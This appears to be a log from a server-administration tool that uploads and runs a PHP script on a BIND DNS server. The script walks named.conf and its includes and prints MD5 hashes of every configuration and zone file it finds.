MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= e160e0a91b58fb9d249ad2b78dd6441c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-01 21:04:03: Establishing a connection
2026-02-01 21:04:03: 

PUT: /tmp/pkp368842

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-01 21:04:03: 

runuser -l bind -s /bin/bash -c '/tmp/pkp368842; rm /tmp/pkp368842'

2026-02-01 21:04:04: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= e160e0a91b58fb9d249ad2b78dd6441c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
